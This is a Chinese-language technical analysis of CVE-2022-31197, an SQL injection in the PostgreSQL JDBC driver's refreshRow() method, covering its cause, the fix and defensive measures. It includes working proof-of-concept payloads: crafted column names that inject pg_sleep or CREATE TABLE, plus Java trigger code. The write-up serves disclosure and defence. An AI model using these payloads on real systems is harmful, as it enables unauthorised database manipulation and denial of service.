CVE-2022-31197 PostgreSQL JDBC SQL注入分析
字数 1220 2025-08-26 22:11:23
PostgreSQL JDBC SQL注入漏洞分析(CVE-2022-31197)
漏洞概述
CVE-2022-31197是PostgreSQL JDBC驱动中的一个SQL注入漏洞,影响版本包括42.2.26和42.4.1之前的版本。该漏洞源于ResultSet.refreshRow()方法在处理列名时未进行适当转义,导致恶意构造的列名可被拼接进SQL语句中执行。
漏洞分析
漏洞位置
漏洞主要存在于PgResultSet#refreshRow方法中,该方法用于刷新结果集中的当前行数据。
触发条件
要触发此漏洞需要满足以下条件:
- 表中存在恶意构造的列名
- 在调用
ResultSet.refreshRow()之前调用了ResultSet.next() - 表中存在数据
漏洞代码分析
在PgResultSet#refreshRow方法中,关键漏洞点在于SQL语句的拼接逻辑:
- 方法首先创建一个以"select"开头的StringBuilder
- 通过循环获取表中的列名并直接拼接
- 添加"from 表名 where"等关键词
- 获取primary key修饰的列名并添加"= ?"预编译参数
问题在于列名未经转义就直接拼接进SQL语句,导致恶意列名可被解释为SQL命令。
漏洞利用
Payload构造
典型的payload构造如下:
CREATE TABLE refresh_row_example (
id int PRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);
payload构造原理:
- 第一部分
1 FROM refresh_row_example;用于闭合前面的SQL语句 - 中间部分
SELECT pg_sleep(10);是要执行的恶意SQL - 最后部分
SELECT *用于闭合后面的SQL条件
利用示例
- 创建恶意表:
CREATE TABLE refresh_row_example3 (
id int PRIMARY KEY,
"1 FROM refresh_row_example3;CREATE TABLE test(id int);SELECT * " int
);
- 插入数据:
INSERT INTO refresh_row_example3 VALUES (1, 1);
- 在Java代码中执行:
ResultSet rs = stmt.executeQuery("SELECT * FROM refresh_row_example3");
rs.next();
rs.refreshRow(); // 触发SQL注入
这将导致CREATE TABLE test(id int)语句被执行。
漏洞修复
修复版本中(42.2.26和42.4.1之后),不再直接将列名写入SQL语句,而是通过Utils.escapeIdentifier进行处理,确保列名被正确转义。
修复代码对比可见:
https://github.com/pgjdbc/pgjdbc/commit/739e599d52ad80f8dcd6efedc6157859b1a9d637
防御措施
- 升级PostgreSQL JDBC驱动到修复版本(42.2.26或42.4.1及以上)
- 避免使用用户可控数据作为数据库对象名(表名、列名等)
- 对必须使用用户输入作为对象名的情况,进行严格的输入验证和转义
参考链接
- 官方安全公告:https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-r38f-c4h4-hqq2
- 修复提交:https://github.com/pgjdbc/pgjdbc/commit/739e599d52ad80f8dcd6efedc6157859b1a9d637